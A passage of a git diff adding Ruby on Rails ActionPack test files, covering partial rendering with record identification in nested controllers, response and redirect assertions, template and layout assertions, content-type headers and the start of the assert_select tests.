+ @topic = Topic.find(1)
+ render :partial => @topic.replies
+ end
+
+ def render_with_scope
+ render :partial => Reply.base
+ end
+
+ def render_with_has_many_through_association
+ @developer = Developer.first
+ render :partial => @developer.topics
+ end
+
+ def render_with_has_one_association
+ @company = Company.find(1)
+ render :partial => @company.mascot
+ end
+
+ def render_with_belongs_to_association
+ @reply = Reply.find(1)
+ render :partial => @reply.topic
+ end
+
+ def render_with_record
+ @developer = Developer.first
+ render :partial => @developer
+ end
+
+ def render_with_record_collection
+ @developers = Developer.all
+ render :partial => @developers
+ end
+
+ def render_with_record_collection_and_spacer_template
+ @developer = Developer.find(1)
+ render :partial => @developer.projects, :spacer_template => 'test/partial_only'
+ end
+end
+
+class RenderPartialWithRecordIdentificationTest < ActiveRecordTestCase
+ tests RenderPartialWithRecordIdentificationController
+ fixtures :developers, :projects, :developers_projects, :topics, :replies, :companies, :mascots
+
+ def test_rendering_partial_with_has_many_and_belongs_to_association
+ get :render_with_has_many_and_belongs_to_association
+ assert_template 'projects/_project'
+ assert_equal assigns(:developer).projects.map(&:name).join, @response.body
+ end
+
+ def test_rendering_partial_with_has_many_association
+ get :render_with_has_many_association
+ assert_template 'replies/_reply'
+ assert_equal 'Birdman is better!', @response.body
+ end
+
+ def test_rendering_partial_with_scope
+ get :render_with_scope
+ assert_template 'replies/_reply'
+ assert_equal 'Birdman is better!Nuh uh!', @response.body
+ end
+
+ def test_render_with_record
+ get :render_with_record
+ assert_template 'developers/_developer'
+ assert_equal 'David', @response.body
+ end
+
+ def test_render_with_record_collection
+ get :render_with_record_collection
+ assert_template 'developers/_developer'
+ assert_equal 'DavidJamisfixture_3fixture_4fixture_5fixture_6fixture_7fixture_8fixture_9fixture_10Jamis', @response.body
+ end
+
+ def test_render_with_record_collection_and_spacer_template
+ get :render_with_record_collection_and_spacer_template
+ assert_equal assigns(:developer).projects.map(&:name).join('only partial'), @response.body
+ end
+
+ def test_rendering_partial_with_has_one_association
+ mascot = Company.find(1).mascot
+ get :render_with_has_one_association
+ assert_template 'mascots/_mascot'
+ assert_equal mascot.name, @response.body
+ end
+end
+
+class Game < Struct.new(:name, :id)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+ def to_param
+ id.to_s
+ end
+end
+
+module Fun
+ class NestedController < ActionController::Base
+ def render_with_record_in_nested_controller
+ render :partial => Game.new("Pong")
+ end
+
+ def render_with_record_collection_in_nested_controller
+ render :partial => [ Game.new("Pong"), Game.new("Tank") ]
+ end
+ end
+
+ module Serious
+ class NestedDeeperController < ActionController::Base
+ def render_with_record_in_deeper_nested_controller
+ render :partial => Game.new("Chess")
+ end
+
+ def render_with_record_collection_in_deeper_nested_controller
+ render :partial => [ Game.new("Chess"), Game.new("Sudoku"), Game.new("Solitaire") ]
+ end
+ end
+ end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedControllersTest < ActiveRecordTestCase
+ tests Fun::NestedController
+
+ def test_render_with_record_in_nested_controller
+ get :render_with_record_in_nested_controller
+ assert_template %r{\Afun/games/_game\Z}
+ assert_equal "Fun Pong\n", @response.body
+ end
+
+ def test_render_with_record_collection_in_nested_controller
+ get :render_with_record_collection_in_nested_controller
+ assert_template %r{\Afun/games/_game\Z}
+ assert_equal "Fun Pong\nFun Tank\n", @response.body
+ end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedControllersWithoutPrefixTest < ActiveRecordTestCase
+ tests Fun::NestedController
+
+ def test_render_with_record_in_nested_controller
+ old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+ ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+ get :render_with_record_in_nested_controller
+ assert_template %r{\Agames/_game\Z}
+ assert_equal "Just Pong\n", @response.body
+ ensure
+ ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
+ end
+
+ def test_render_with_record_collection_in_nested_controller
+ old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+ ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+ get :render_with_record_collection_in_nested_controller
+ assert_template %r{\Agames/_game\Z}
+ assert_equal "Just Pong\nJust Tank\n", @response.body
+ ensure
+ ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
+ end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedDeeperControllersTest < ActiveRecordTestCase
+ tests Fun::Serious::NestedDeeperController
+
+ def test_render_with_record_in_deeper_nested_controller
+ get :render_with_record_in_deeper_nested_controller
+ assert_template %r{\Afun/serious/games/_game\Z}
+ assert_equal "Serious Chess\n", @response.body
+ end
+
+ def test_render_with_record_collection_in_deeper_nested_controller
+ get :render_with_record_collection_in_deeper_nested_controller
+ assert_template %r{\Afun/serious/games/_game\Z}
+ assert_equal "Serious Chess\nSerious Sudoku\nSerious Solitaire\n", @response.body
+ end
+end
+
+class RenderPartialWithRecordIdentificationAndNestedDeeperControllersWithoutPrefixTest < ActiveRecordTestCase
+ tests Fun::Serious::NestedDeeperController
+
+ def test_render_with_record_in_deeper_nested_controller
+ old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+ ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+ get :render_with_record_in_deeper_nested_controller
+ assert_template %r{\Agames/_game\Z}
+ assert_equal "Just Chess\n", @response.body
+ ensure
+ ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
+ end
+
+ def test_render_with_record_collection_in_deeper_nested_controller
+ old_config = ActionView::Base.prefix_partial_path_with_controller_namespace
+ ActionView::Base.prefix_partial_path_with_controller_namespace = false
+
+ get :render_with_record_collection_in_deeper_nested_controller
+ assert_template %r{\Agames/_game\Z}
+ assert_equal "Just Chess\nJust Sudoku\nJust Solitaire\n", @response.body
+ ensure
+ ActionView::Base.prefix_partial_path_with_controller_namespace = old_config
+ end
+end
diff --git a/actionpack/test/assertions/response_assertions_test.rb b/actionpack/test/assertions/response_assertions_test.rb
new file mode 100644
index 0000000..ca1d587
--- /dev/null
+++ b/actionpack/test/assertions/response_assertions_test.rb
@@ -0,0 +1,55 @@
+require 'abstract_unit'
+require 'action_dispatch/testing/assertions/response'
+
+module ActionDispatch
+ module Assertions
+ class ResponseAssertionsTest < ActiveSupport::TestCase
+ include ResponseAssertions
+
+ FakeResponse = Struct.new(:response_code) do
+ [:success, :missing, :redirect, :error].each do |sym|
+ define_method("#{sym}?") do
+ sym == response_code
+ end
+ end
+ end
+
+ def test_assert_response_predicate_methods
+ [:success, :missing, :redirect, :error].each do |sym|
+ @response = FakeResponse.new sym
+ assert_response sym
+
+ assert_raises(MiniTest::Assertion) {
+ assert_response :unauthorized
+ }
+ end
+ end
+
+ def test_assert_response_fixnum
+ @response = FakeResponse.new 400
+ assert_response 400
+
+ assert_raises(MiniTest::Assertion) {
+ assert_response :unauthorized
+ }
+
+ assert_raises(MiniTest::Assertion) {
+ assert_response 500
+ }
+ end
+
+ def test_assert_response_sym_status
+ @response = FakeResponse.new 401
+ assert_response :unauthorized
+
+ assert_raises(MiniTest::Assertion) {
+ assert_response :ok
+ }
+
+ assert_raises(MiniTest::Assertion) {
+ assert_response :success
+ }
+ end
+ end
+ end
+end
diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb
new file mode 100644
index 0000000..22a410d
--- /dev/null
+++ b/actionpack/test/controller/action_pack_assertions_test.rb
@@ -0,0 +1,626 @@
+require 'abstract_unit'
+require 'action_view/vendor/html-scanner'
+require 'controller/fake_controllers'
+
+class ActionPackAssertionsController < ActionController::Base
+
+ def nothing() head :ok end
+
+ def hello_world() render :template => "test/hello_world"; end
+ def hello_repeating_in_path() render :template => "test/hello/hello"; end
+
+ def hello_xml_world() render :template => "test/hello_xml_world"; end
+
+ def hello_xml_world_pdf
+ self.content_type = "application/pdf"
+ render :template => "test/hello_xml_world"
+ end
+
+ def hello_xml_world_pdf_header
+ response.headers["Content-Type"] = "application/pdf; charset=utf-8"
+ render :template => "test/hello_xml_world"
+ end
+
+ def partial() render :partial => 'test/partial'; end
+
+ def redirect_internal() redirect_to "/nothing"; end
+
+ def redirect_to_action() redirect_to :action => "flash_me", :id => 1, :params => { "panda" => "fun" }; end
+
+ def redirect_to_controller() redirect_to :controller => "elsewhere", :action => "flash_me"; end
+
+ def redirect_to_controller_with_symbol() redirect_to :controller => :elsewhere, :action => :flash_me; end
+
+ def redirect_to_path() redirect_to '/some/path' end
+
+ def redirect_invalid_external_route() redirect_to 'ht_tp://www.rubyonrails.org' end
+
+ def redirect_to_named_route() redirect_to route_one_url end
+
+ def redirect_external() redirect_to "http://www.rubyonrails.org"; end
+
+ def response404() head '404 AWOL' end
+
+ def response500() head '500 Sorry' end
+
+ def response599() head '599 Whoah!' end
+
+ def flash_me
+ flash['hello'] = 'my name is inigo montoya...'
+ render :text => "Inconceivable!"
+ end
+
+ def flash_me_naked
+ flash.clear
+ render :text => "wow!"
+ end
+
+ def assign_this
+ @howdy = "ho"
+ render :inline => "Mr. Henke"
+ end
+
+ def render_based_on_parameters
+ render :text => "Mr. #{params[:name]}"
+ end
+
+ def render_url
+ render :text => "<div>#{url_for(:action => 'flash_me', :only_path => true)}</div>"
+ end
+
+ def render_text_with_custom_content_type
+ render :text => "Hello!", :content_type => Mime::RSS
+ end
+
+ def render_with_layout
+ @variable_for_layout = nil
+ render "test/hello_world", :layout => "layouts/standard"
+ end
+
+ def render_with_layout_and_partial
+ @variable_for_layout = nil
+ render "test/hello_world_with_partial", :layout => "layouts/standard"
+ end
+
+ def session_stuffing
+ session['xmas'] = 'turkey'
+ render :text => "ho ho ho"
+ end
+
+ def raise_exception_on_get
+ raise "get" if request.get?
+ render :text => "request method: #{request.env['REQUEST_METHOD']}"
+ end
+
+ def raise_exception_on_post
+ raise "post" if request.post?
+ render :text => "request method: #{request.env['REQUEST_METHOD']}"
+ end
+
+ def render_file_absolute_path
+ render :file => File.expand_path('../../../README.rdoc', __FILE__)
+ end
+
+ def render_file_relative_path
+ render :file => 'README.rdoc'
+ end
+end
+
+# Used to test that assert_response includes the exception message
+# in the failure message when an action raises and assert_response
+# is expecting something other than an error.
+class AssertResponseWithUnexpectedErrorController < ActionController::Base
+ def index
+ raise 'FAIL'
+ end
+
+ def show
+ render :text => "Boom", :status => 500
+ end
+end
+
+module Admin
+ class InnerModuleController < ActionController::Base
+ def index
+ render :nothing => true
+ end
+
+ def redirect_to_index
+ redirect_to admin_inner_module_path
+ end
+
+ def redirect_to_absolute_controller
+ redirect_to :controller => '/content'
+ end
+
+ def redirect_to_fellow_controller
+ redirect_to :controller => 'user'
+ end
+
+ def redirect_to_top_level_named_route
+ redirect_to top_level_url(:id => "foo")
+ end
+ end
+end
+
+class ActionPackAssertionsControllerTest < ActionController::TestCase
+
+ def test_assert_tag_and_url_for
+ get :render_url
+ assert_tag :content => "/action_pack_assertions/flash_me"
+ end
+
+ def test_render_file_absolute_path
+ get :render_file_absolute_path
+ assert_match(/\A= Action Pack/, @response.body)
+ end
+
+ def test_render_file_relative_path
+ get :render_file_relative_path
+ assert_match(/\A= Action Pack/, @response.body)
+ end
+
+ def test_get_request
+ assert_raise(RuntimeError) { get :raise_exception_on_get }
+ get :raise_exception_on_post
+ assert_equal @response.body, 'request method: GET'
+ end
+
+ def test_post_request
+ assert_raise(RuntimeError) { post :raise_exception_on_post }
+ post :raise_exception_on_get
+ assert_equal @response.body, 'request method: POST'
+ end
+
+ def test_get_post_request_switch
+ post :raise_exception_on_get
+ assert_equal @response.body, 'request method: POST'
+ get :raise_exception_on_post
+ assert_equal @response.body, 'request method: GET'
+ post :raise_exception_on_get
+ assert_equal @response.body, 'request method: POST'
+ get :raise_exception_on_post
+ assert_equal @response.body, 'request method: GET'
+ end
+
+ def test_string_constraint
+ with_routing do |set|
+ set.draw do
+ get "photos", :to => 'action_pack_assertions#nothing', :constraints => {:subdomain => "admin"}
+ end
+ end
+ end
+
+ def test_assert_redirect_to_named_route_failure
+ with_routing do |set|
+ set.draw do
+ get 'route_one', :to => 'action_pack_assertions#nothing', :as => :route_one
+ get 'route_two', :to => 'action_pack_assertions#nothing', :id => 'two', :as => :route_two
+ get ':controller/:action'
+ end
+ process :redirect_to_named_route
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_redirected_to 'http://test.host/route_two'
+ end
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_redirected_to %r(^http://test.host/route_two)
+ end
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_redirected_to :controller => 'action_pack_assertions', :action => 'nothing', :id => 'two'
+ end
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_redirected_to route_two_url
+ end
+ end
+ end
+
+ def test_assert_redirect_to_nested_named_route
+ @controller = Admin::InnerModuleController.new
+
+ with_routing do |set|
+ set.draw do
+ get 'admin/inner_module', :to => 'admin/inner_module#index', :as => :admin_inner_module
+ get ':controller/:action'
+ end
+ process :redirect_to_index
+ # redirection is <{"action"=>"index", "controller"=>"admin/admin/inner_module"}>
+ assert_redirected_to admin_inner_module_path
+ end
+ end
+
+ def test_assert_redirected_to_top_level_named_route_from_nested_controller
+ @controller = Admin::InnerModuleController.new
+
+ with_routing do |set|
+ set.draw do
+ get '/action_pack_assertions/:id', :to => 'action_pack_assertions#index', :as => :top_level
+ get ':controller/:action'
+ end
+ process :redirect_to_top_level_named_route
+ # assert_redirected_to "http://test.host/action_pack_assertions/foo" would pass because of exact match early return
+ assert_redirected_to "/action_pack_assertions/foo"
+ assert_redirected_to %r(/action_pack_assertions/foo)
+ end
+ end
+
+ def test_assert_redirected_to_top_level_named_route_with_same_controller_name_in_both_namespaces
+ @controller = Admin::InnerModuleController.new
+
+ with_routing do |set|
+ set.draw do
+ # this controller exists in the admin namespace as well which is the only difference from previous test
+ get '/user/:id', :to => 'user#index', :as => :top_level
+ get ':controller/:action'
+ end
+ process :redirect_to_top_level_named_route
+ # assert_redirected_to top_level_url('foo') would pass because of exact match early return
+ assert_redirected_to top_level_path('foo')
+ end
+ end
+
+ def test_template_objects_exist
+ process :assign_this
+ assert !@controller.instance_variable_defined?(:"@hi")
+ assert @controller.instance_variable_get(:"@howdy")
+ end
+
+ def test_template_objects_missing
+ process :nothing
+ assert !@controller.instance_variable_defined?(:@howdy)
+ end
+
+ def test_empty_flash
+ process :flash_me_naked
+ assert flash.empty?
+ end
+
+ def test_flash_exist
+ process :flash_me
+ assert flash.any?
+ assert flash['hello'].present?
+ end
+
+ def test_flash_does_not_exist
+ process :nothing
+ assert flash.empty?
+ end
+
+ def test_session_exist
+ process :session_stuffing
+ assert_equal session['xmas'], 'turkey'
+ end
+
+ def session_does_not_exist
+ process :nothing
+ assert session.empty?
+ end
+
+ def test_render_template_action
+ process :nothing
+ assert_template nil
+
+ process :hello_world
+ assert_template 'hello_world'
+ end
+
+ def test_redirection_location
+ process :redirect_internal
+ assert_equal 'http://test.host/nothing', @response.redirect_url
+
+ process :redirect_external
+ assert_equal 'http://www.rubyonrails.org', @response.redirect_url
+ end
+
+ def test_no_redirect_url
+ process :nothing
+ assert_nil @response.redirect_url
+ end
+
+ def test_server_error_response_code
+ process :response500
+ assert @response.server_error?
+
+ process :response599
+ assert @response.server_error?
+
+ process :response404
+ assert !@response.server_error?
+ end
+
+ def test_missing_response_code
+ process :response404
+ assert @response.missing?
+ end
+
+ def test_client_error_response_code
+ process :response404
+ assert @response.client_error?
+ end
+
+ def test_redirect_url_match
+ process :redirect_external
+ assert @response.redirect?
+ assert_match(/rubyonrails/, @response.redirect_url)
+ assert !/perloffrails/.match(@response.redirect_url)
+ end
+
+ def test_redirection
+ process :redirect_internal
+ assert @response.redirect?
+
+ process :redirect_external
+ assert @response.redirect?
+
+ process :nothing
+ assert !@response.redirect?
+ end
+
+ def test_successful_response_code
+ process :nothing
+ assert @response.success?
+ end
+
+ def test_response_object
+ process :nothing
+ assert_kind_of ActionController::TestResponse, @response
+ end
+
+ def test_render_based_on_parameters
+ process :render_based_on_parameters, "GET", "name" => "David"
+ assert_equal "Mr. David", @response.body
+ end
+
+ def test_assert_redirection_fails_with_incorrect_controller
+ process :redirect_to_controller
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_redirected_to :controller => "action_pack_assertions", :action => "flash_me"
+ end
+ end
+
+ def test_assert_redirection_with_extra_controller_option
+ get :redirect_to_action
+ assert_redirected_to :controller => 'action_pack_assertions', :action => "flash_me", :id => 1, :params => { :panda => 'fun' }
+ end
+
+ def test_redirected_to_url_leading_slash
+ process :redirect_to_path
+ assert_redirected_to '/some/path'
+ end
+
+ def test_redirected_to_url_no_leading_slash_fails
+ process :redirect_to_path
+ assert_raise ActiveSupport::TestCase::Assertion do
+ assert_redirected_to 'some/path'
+ end
+ end
+
+ def test_redirect_invalid_external_route
+ process :redirect_invalid_external_route
+ assert_redirected_to "http://test.hostht_tp://www.rubyonrails.org"
+ end
+
+ def test_redirected_to_url_full_url
+ process :redirect_to_path
+ assert_redirected_to 'http://test.host/some/path'
+ end
+
+ def test_assert_redirection_with_symbol
+ process :redirect_to_controller_with_symbol
+ assert_nothing_raised {
+ assert_redirected_to :controller => "elsewhere", :action => "flash_me"
+ }
+ process :redirect_to_controller_with_symbol
+ assert_nothing_raised {
+ assert_redirected_to :controller => :elsewhere, :action => :flash_me
+ }
+ end
+
+ def test_redirected_to_with_nested_controller
+ @controller = Admin::InnerModuleController.new
+ get :redirect_to_absolute_controller
+ assert_redirected_to :controller => '/content'
+
+ get :redirect_to_fellow_controller
+ assert_redirected_to :controller => 'admin/user'
+ end
+
+ def test_assert_response_uses_exception_message
+ @controller = AssertResponseWithUnexpectedErrorController.new
+ get :index
+ assert_response :success
+ flunk 'Expected non-success response'
+ rescue RuntimeError => e
+ assert e.message.include?('FAIL')
+ end
+
+ def test_assert_response_failure_response_with_no_exception
+ @controller = AssertResponseWithUnexpectedErrorController.new
+ get :show
+ assert_response :success
+ flunk 'Expected non-success response'
+ rescue ActiveSupport::TestCase::Assertion
+ # success
+ rescue
+ flunk "assert_response failed to handle failure response with missing, but optional, exception."
+ end
+end
+
+class AssertTemplateTest < ActionController::TestCase
+ tests ActionPackAssertionsController
+
+ def test_with_invalid_hash_keys_raises_argument_error
+ assert_raise(ArgumentError) do
+ assert_template foo: "bar"
+ end
+ end
+
+ def test_with_partial
+ get :partial
+ assert_template :partial => '_partial'
+ end
+
+ def test_file_with_absolute_path_success
+ get :render_file_absolute_path
+ assert_template :file => File.expand_path('../../../README.rdoc', __FILE__)
+ end
+
+ def test_file_with_relative_path_success
+ get :render_file_relative_path
+ assert_template :file => 'README.rdoc'
+ end
+
+ def test_with_file_failure
+ get :render_file_absolute_path
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template :file => 'test/hello_world'
+ end
+ end
+
+ def test_with_nil_passes_when_no_template_rendered
+ get :nothing
+ assert_template nil
+ end
+
+ def test_with_nil_fails_when_template_rendered
+ get :hello_world
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template nil
+ end
+ end
+
+ def test_with_empty_string_fails_when_template_rendered
+ get :hello_world
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template ""
+ end
+ end
+
+ def test_with_empty_string_fails_when_no_template_rendered
+ get :nothing
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template ""
+ end
+ end
+
+ def test_passes_with_correct_string
+ get :hello_world
+ assert_template 'hello_world'
+ assert_template 'test/hello_world'
+ end
+
+ def test_passes_with_correct_symbol
+ get :hello_world
+ assert_template :hello_world
+ end
+
+ def test_fails_with_incorrect_string
+ get :hello_world
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template 'hello_planet'
+ end
+ end
+
+ def test_fails_with_incorrect_string_that_matches
+ get :hello_world
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template 'est/he'
+ end
+ end
+
+ def test_fails_with_repeated_name_in_path
+ get :hello_repeating_in_path
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template 'test/hello'
+ end
+ end
+
+ def test_fails_with_incorrect_symbol
+ get :hello_world
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template :hello_planet
+ end
+ end
+
+ def test_fails_with_incorrect_symbol_that_matches
+ get :hello_world
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template :"est/he"
+ end
+ end
+
+ def test_fails_with_wrong_layout
+ get :render_with_layout
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template :layout => "application"
+ end
+ end
+
+ def test_fails_expecting_no_layout
+ get :render_with_layout
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_template :layout => nil
+ end
+ end
+
+ def test_passes_with_correct_layout
+ get :render_with_layout
+ assert_template :layout => "layouts/standard"
+ end
+
+ def test_passes_with_layout_and_partial
+ get :render_with_layout_and_partial
+ assert_template :layout => "layouts/standard"
+ end
+
+ def test_passed_with_no_layout
+ get :hello_world
+ assert_template :layout => nil
+ end
+
+ def test_passed_with_no_layout_false
+ get :hello_world
+ assert_template :layout => false
+ end
+
+ def test_passes_with_correct_layout_without_layouts_prefix
+ get :render_with_layout
+ assert_template :layout => "standard"
+ end
+
+ def test_passes_with_correct_layout_symbol
+ get :render_with_layout
+ assert_template :layout => :standard
+ end
+
+ def test_assert_template_reset_between_requests
+ get :hello_world
+ assert_template 'test/hello_world'
+
+ get :nothing
+ assert_template nil
+ end
+end
+
+class ActionPackHeaderTest < ActionController::TestCase
+ tests ActionPackAssertionsController
+
+ def test_rendering_xml_sets_content_type
+ process :hello_xml_world
+ assert_equal('application/xml; charset=utf-8', @response.headers['Content-Type'])
+ end
+
+ def test_rendering_xml_respects_content_type
+ process :hello_xml_world_pdf
+ assert_equal('application/pdf; charset=utf-8', @response.headers['Content-Type'])
+ end
+
+ def test_rendering_xml_respects_content_type_when_set_in_the_header
+ process :hello_xml_world_pdf_header
+ assert_equal('application/pdf; charset=utf-8', @response.headers['Content-Type'])
+ end
+
+ def test_render_text_with_custom_content_type
+ get :render_text_with_custom_content_type
+ assert_equal 'application/rss+xml; charset=utf-8', @response.headers['Content-Type']
+ end
+end
diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb
new file mode 100644
index 0000000..3d667f0
--- /dev/null
+++ b/actionpack/test/controller/assert_select_test.rb
@@ -0,0 +1,348 @@
+# encoding: utf-8
+#--
+# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
+# Under MIT and/or CC By license.
+#++
+
+require 'abstract_unit'
+require 'controller/fake_controllers'
+
+require 'action_mailer'
+ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH
+
+class AssertSelectTest < ActionController::TestCase
+ Assertion = ActiveSupport::TestCase::Assertion
+
+ class AssertSelectMailer < ActionMailer::Base
+ def test(html)
+ mail :body => html, :content_type => "text/html",
+ :subject => "Test e-mail", :from => "test at test.host", :to => "test <test at test.host>"
+ end
+ end
+
+ class AssertMultipartSelectMailer < ActionMailer::Base
+ def test(options)
+ mail :subject => "Test e-mail", :from => "test at test.host", :to => "test <test at test.host>" do |format|
+ format.text { render :text => options[:text] }
+ format.html { render :text => options[:html] }
+ end
+ end
+ end
+
+ class AssertSelectController < ActionController::Base
+ def response_with=(content)
+ @content = content
+ end
+
+ def response_with(&block)
+ @update = block
+ end
+
+ def html()
+ render :text=>@content, :layout=>false, :content_type=>Mime::HTML
+ @content = nil
+ end
+
+ def xml()
+ render :text=>@content, :layout=>false, :content_type=>Mime::XML
+ @content = nil
+ end
+ end
+
+ tests AssertSelectController
+
+ def setup
+ super
+ ActionMailer::Base.delivery_method = :test
+ ActionMailer::Base.perform_deliveries = true
+ ActionMailer::Base.deliveries = []
+ end
+
+ def teardown
+ super
+ ActionMailer::Base.deliveries.clear
+ end
+
+ def assert_failure(message, &block)
+ e = assert_raise(Assertion, &block)
+ assert_match(message, e.message) if Regexp === message
+ assert_equal(message, e.message) if String === message
+ end
+
+ #
+ # Test assert select.
+ #
+
+ def test_assert_select
+ render_html %Q{<div id="1"></div><div id="2"></div>}
+ assert_select "div", 2
+ assert_failure(/Expected at least 1 element matching \"p\", found 0/) { assert_select "p" }
+ end
+
+ def test_equality_integer
+ render_html %Q{<div id="1"></div><div id="2"></div>}
+ assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) { assert_select "div", 3 }
+ assert_failure(/Expected exactly 0 elements matching \"div\", found 2/) { assert_select "div", 0 }
+ end
+
+ def test_equality_true_false
+ render_html %Q{<div id="1"></div><div id="2"></div>}
+ assert_nothing_raised { assert_select "div" }
+ assert_raise(Assertion) { assert_select "p" }
+ assert_nothing_raised { assert_select "div", true }
+ assert_raise(Assertion) { assert_select "p", true }
+ assert_raise(Assertion) { assert_select "div", false }
+ assert_nothing_raised { assert_select "p", false }
+ end
+
+ def test_equality_false_message
+ render_html %Q{<div id="1"></div><div id="2"></div>}
+ assert_failure(/Expected exactly 0 elements matching \"div\", found 2/) { assert_select "div", false }
+ end
+
+ def test_equality_string_and_regexp
+ render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
+ assert_nothing_raised { assert_select "div", "foo" }
+ assert_raise(Assertion) { assert_select "div", "bar" }
+ assert_nothing_raised { assert_select "div", :text=>"foo" }
+ assert_raise(Assertion) { assert_select "div", :text=>"bar" }
+ assert_nothing_raised { assert_select "div", /(foo|bar)/ }
+ assert_raise(Assertion) { assert_select "div", /foobar/ }
+ assert_nothing_raised { assert_select "div", :text=>/(foo|bar)/ }
+ assert_raise(Assertion) { assert_select "div", :text=>/foobar/ }
+ assert_raise(Assertion) { assert_select "p", :text=>/foobar/ }
+ end
+
+ def test_equality_of_html
+ render_html %Q{<p>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</p>}
+ text = "\"This is not a big problem,\" he said."
+ html = "<em>\"This is <strong>not</strong> a big problem,\"</em> he said."
+ assert_nothing_raised { assert_select "p", text }
+ assert_raise(Assertion) { assert_select "p", html }
+ assert_nothing_raised { assert_select "p", :html=>html }
+ assert_raise(Assertion) { assert_select "p", :html=>text }
+ # No stripping for pre.
+ render_html %Q{<pre>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</pre>}
+ text = "\n\"This is not a big problem,\" he said.\n"
+ html = "\n<em>\"This is <strong>not</strong> a big problem,\"</em> he said.\n"
+ assert_nothing_raised { assert_select "pre", text }
+ assert_raise(Assertion) { assert_select "pre", html }
+ assert_nothing_raised { assert_select "pre", :html=>html }
+ assert_raise(Assertion) { assert_select "pre", :html=>text }
+ end
+
+ def test_strip_textarea
+ render_html %Q{<textarea>\n\nfoo\n</textarea>}
+ assert_select "textarea", "\nfoo\n"
+ render_html %Q{<textarea>\nfoo</textarea>}
+ assert_select "textarea", "foo"
+ end
+
+ def test_counts
+ render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
+ assert_nothing_raised { assert_select "div", 2 }
+ assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) do
+ assert_select "div", 3
+ end
+ assert_nothing_raised { assert_select "div", 1..2 }
+ assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
+ assert_select "div", 3..4
+ end
+ assert_nothing_raised { assert_select "div", :count=>2 }
+ assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) do
+ assert_select "div", :count=>3
+ end
+ assert_nothing_raised { assert_select "div", :minimum=>1 }
+ assert_nothing_raised { assert_select "div", :minimum=>2 }
+ assert_failure(/Expected at least 3 elements matching \"div\", found 2/) do
+ assert_select "div", :minimum=>3
+ end
+ assert_nothing_raised { assert_select "div", :maximum=>2 }
+ assert_nothing_raised { assert_select "div", :maximum=>3 }
+ assert_failure(/Expected at most 1 element matching \"div\", found 2/) do
+ assert_select "div", :maximum=>1
+ end
+ assert_nothing_raised { assert_select "div", :minimum=>1, :maximum=>2 }
+ assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
+ assert_select "div", :minimum=>3, :maximum=>4
+ end
+ end
+
+ def test_substitution_values
+ render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
+ assert_select "div#?", /\d+/ do |elements|
+ assert_equal 2, elements.size
+ end
+ assert_select "div" do
+ assert_select "div#?", /\d+/ do |elements|
+ assert_equal 2, elements.size
+ assert_select "#1"
+ assert_select "#2"
+ end
+ end
+ end
+
+ def test_nested_assert_select
+ render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
+ assert_select "div" do |elements|
+ assert_equal 2, elements.size
+ assert_select elements[0], "#1"
+ assert_select elements[1], "#2"
+ end
+ assert_select "div" do
+ assert_select "div" do |elements|
+ assert_equal 2, elements.size
+ # Testing in a group is one thing
+ assert_select "#1,#2"
+ # Testing individually is another.
+ assert_select "#1"
+ assert_select "#2"
+ assert_select "#3", false
+ end
+ end
+
+ assert_failure(/Expected at least 1 element matching \"#4\", found 0\./) do
+ assert_select "div" do
+ assert_select "#4"
+ end
+ end
+ end
+
+ def test_assert_select_text_match
+ render_html %Q{<div id="1"><span>foo</span></div><div id="2"><span>bar</span></div>}
+ assert_select "div" do
+ assert_nothing_raised { assert_select "div", "foo" }
+ assert_nothing_raised { assert_select "div", "bar" }
+ assert_nothing_raised { assert_select "div", /\w*/ }
+ assert_nothing_raised { assert_select "div", :text => /\w*/, :count=>2 }
+ assert_raise(Assertion) { assert_select "div", :text=>"foo", :count=>2 }
+ assert_nothing_raised { assert_select "div", :html=>"<span>bar</span>" }
+ assert_nothing_raised { assert_select "div", :html=>"<span>bar</span>" }
+ assert_nothing_raised { assert_select "div", :html=>/\w*/ }
+ assert_nothing_raised { assert_select "div", :html=>/\w*/, :count=>2 }
+ assert_raise(Assertion) { assert_select "div", :html=>"<span>foo</span>", :count=>2 }
+ end
+ end
+
+ def test_elect_with_xml_namespace_attributes
